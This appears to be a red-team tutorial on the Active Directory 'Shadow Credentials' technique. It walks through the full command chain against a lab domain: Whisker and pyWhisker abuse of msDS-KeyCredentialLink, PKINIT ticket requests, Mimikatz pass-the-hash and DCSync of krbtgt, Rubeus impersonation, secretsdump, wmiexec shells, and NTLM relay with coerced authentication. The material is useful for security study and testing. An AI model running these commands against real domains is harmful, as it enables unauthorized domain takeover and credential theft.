Microsoft has introduced Windows Hello for Business (WHfB) to replace traditional password based authentication with a key based trust model. This implementation uses PIN or Bio-metrics which are linked to a cryptographic certificate pair to allow users on the domain to access resources. Users or computer accounts can have several key credentials which could correspond to different devices. The information is stored in the msDS-KeyCredentialLink active directory attribute and was introduced in Windows Server 2016 and Windows 10 1703.
As with any new technology or feature introduces a new attack surface which could be potential for abuse. During Black Hat Europe 2019 Michael Grafnetter discussed several attacks towards Windows Hello for Business including a domain persistence technique which involves the modification of the msDS-KeyCredentialLink attribute of a target computer or user account. An attacker using public key cryptography could modify this attribute for an account which has permissions in order to obtain a ticket granting ticket (TGT) which could lead to the retrieval of the NTLM hash. In the event that password of the target account is changed this attribute will not be affected and therefore a threat actor could use this technique continuously to retrieve either the NTLM hash or a ticket granting service ticket for a domain administrator. The following diagram visualize the steps of the technique Shadow Credentials in practice.
Permissions to modify this attribute in Active Directory have accounts which are member of the groups:
- Key Admins
- Enterprise Key Admins
Alternatively, if an account is compromised which have GenericAll or GenericWrite permissions over an object (computer account or user account) in Active Directory could be utilized for persistence or lateral movement if it affects a computer account.
Both of these permissions will inherit Read and Write rights over the msDS-KeyCredentialLink attribute which is required to conduct the attack.
Elad Shamir has released a tool called Whisker which could aid red teams to utilize this technique in red team operations. The tool will generate a certificate and an asymmetric key and will store this information in the msDS-KeyCredentialLink attribute. The generated certificate could be used with Rubeus in order to request a ticket granting ticket and expand further the attack.
Whisker.exe add /target:dc$ /domain:purple.lab /dc:dc.purple.lab
Verification that the attribute has been updated is feasible using the flag “list” against the target account. The information which is stored in the msDS-KeyCredentialLInk attribute includes the following:
- User ID
- Public Key
- Device ID
- Last Logon Time
- Attestation Data
However, the tool limits these results only to the Device ID and Last Logon Time compare to it’s python implementation pyWhisker which is detailed in the section which discuss the technique from Non-Domain Joined systems.
Whisker.exe list /target:dc$ /domain:purple.lab /dc:dc.purple.lab
From the perspective of Active Directory the value of the attribute will have a format similar to the image below. However, it is not possible to read or modify this value using Microsoft’s ADSI Edit.
Whisker in it’s output will provide the Rubeus command. Using that command a ticket granting ticket can be requested using certificate based authentication.
The ticket will received in base-64 format.
The ticket will be cached in memory and will belong to the domain controller machine account as this was the target account. The NTLM hash of the computer account will also displayed in the results and could be utilized in pass the hash attacks. There are different cases which a red team operator could use either the ticket or the hash to conduct further attacks that could lead either to dump active directory hashes using DCSync or to re-gain access to the domain controller and other sensitive hosts in the network by impersonating domain administrator accounts.
Mimikatz can be used to perform pass the hash attacks for accounts from an elevated session. Executing the following command will open a new session as the DC$ account.
privilege::debug sekurlsa::pth /user:DC$ /domain:purple.lab /ntlm:5de006c3bf93d30195dff6fadd92a74c
From the new session Mimikatz can be executed again to dump password hashes of active directory accounts such as the krbtgt account. Using the NTLM hash of the krbtgt account a golden ticket could be created as a secondary domain persistence method.
lsadump::dcsync /domain:purple.lab /user:krbtgt
Alternatively, the ticket which belongs to the DC$ account could be used to request service tickets for domain administrator accounts using the Kerberos extension service for user. Rubeus can interact with the Kerberos protocol and execution of the following command with the certificate which belongs to the DC$ machine account will obtain a ticket for the domain controller cifs service. This ticket will requested on behalf of a domain administrator account.
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc.purple.lab /dc:dc.purple.lab /ptt /ticket:[Base64 TGT]
The TGS ticket will received and cached into memory. It should be noted that service tickets could be requested to access other sensitive hosts outside of the domain controller so information could be ex-filtrated and used properly into the report.
Since the service ticket is stored in memory domain controller resources could be accessed from the host using standard user accounts.
The technique could be also executed from a non domain joined systems if the credentials of the domain admin account or an account which has the required privileges are known. Charlie Bromberg released the python implementation of Whisker called pyWhisker to assist with operations from hosts which are not attached to the domain. Execution of the first command will list only the device ID and creation time output from a target host which already has a key pair in it’s msDS-KeyCredentialLink attribute similar to the C# implementation of the tool. However, the tool could also print all the information which is contained in a KeyCredential structure using the info flag with the correlated device id.
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "list" python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "info" --device-id 730406d6-bcd3-4427-a14b-b0420924a149
Executing the following command will perform the attack and the generated certificate will be saved locally in .PFX format. Using that certificate the NTLM hash can be retrieved for the machine account or a ticket granting ticket.
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "add" --filename dc
The certificate could be used with the PKINITtools from Dirk-jan Mollema in order to authenticate with the Key Distribution Center (KDC) and request a ticket granting ticket which will be saved in .ccache format.
python3 gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass srjJXERibBHpBYIYKIeO purple.lab/dc$ dc$.ccache
The ticket could be cached into the current session using the “export” command and using the AS-REP encryption key the NTLM hash of the machine account could be retrieved from PAC similar to the certificate account persistence technique.
export KRB5CCNAME=/home/kali/PKINITtools/dc\$.ccache python3 getnthash.py -key c1f6bf9a8a7daeaf5c9b68cab6609994b233fa9b3fc30de747f0950111e545c5 purple.lab/dc$
In windows ecosystems Mimikatz could be used to retrieve domain hashes using the DCSync technique. In Linux environments secretsdump from Impacket suite could be used to dump the hash of the krbtgt account using the hash of the domain controller machine account.
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'firstname.lastname@example.org' -just-dc-user krbtgt
Re-establishing access with the domain controller is also trivial by retrieving the password hash of a domain admin account and then using pass the hash with wmiexec python tool.
python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'email@example.com' -just-dc-user Administrator python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
The shadow credentials technique has been also implemented into a version of ntlmrelayx by Charlie Bromberg. The attack can be conducted in combination with coerced authentication such as PetitPotam, printerbug or ShadowCoerce.
python3 ntlmrelayx.py -t ldap://ca --shadow-credentials --shadow-target 'dc$'
However, execution of the technique with the method of coerced authentication comes with a restriction as it is not feasible to relay authentication from SMB to LDAP. Therefore direct execution of the above exploits should not work unless authentication is relayed in an alternative protocol like HTTP first and then relayed back to the host which is running the listener. An alternative approach could be to trigger the authentication using the Change-Lockscreen tool from NCC Group under the context of the account which has the required privileges to modify the msDS-KeyCredentialLink attribute.
Change-Lockscreen.exe -Webdav \\kali1@80\
The certificate will be extracted in PFX format with a randomized password string. These could be used with gettgtpkinit python tool in order to request a kerberos ticket granting ticket.
python3 gettgtpkinit.py -cert-pfx ezlCyMJk.pfx -pfx-pass i0Oyg3xgWMCUKDmiB9yI purple.lab/dc$ p6nC1xBQ.ccache
The ticket could be cached into the current session using the export command and the path of the ticket. Similarly, to how it was used earlier in the article the NTLM hash of the DC$ account could be retrieved from PAC using the getnthash python script.
export KRB5CCNAME=/home/kali/PKINITtools/ezlCyMJk.ccache python3 getnthash.py -key a52b696a23f6f838b45c475caeca7a118d7f5463af89bc4c8246d83fab1ea80e purple.lab/dc$
Service tickets could also requested from Linux hosts using the gets4uticket python script. The cached ticket which has been requested previously could be used to perform the Kerberos authentication and request a TGS ticket which will be saved in .ccache format for the cifs service by impersonating a domain administrator account. The service ticket could be cached in memory and since the ticket belongs to a domain admin account wmiexec with Kerberos authentication can be utilized to access the domain controller.
python3 gets4uticket.py kerberos+ccache://purple.lab\\dc\$:ezlCyMJk.firstname.lastname@example.org email@example.com firstname.lastname@example.org admin.ccache -v export KRB5CCNAME=/home/kali/PKINITtools/administrator_tgs.ccache wmiexec.py -k -no-pass email@example.com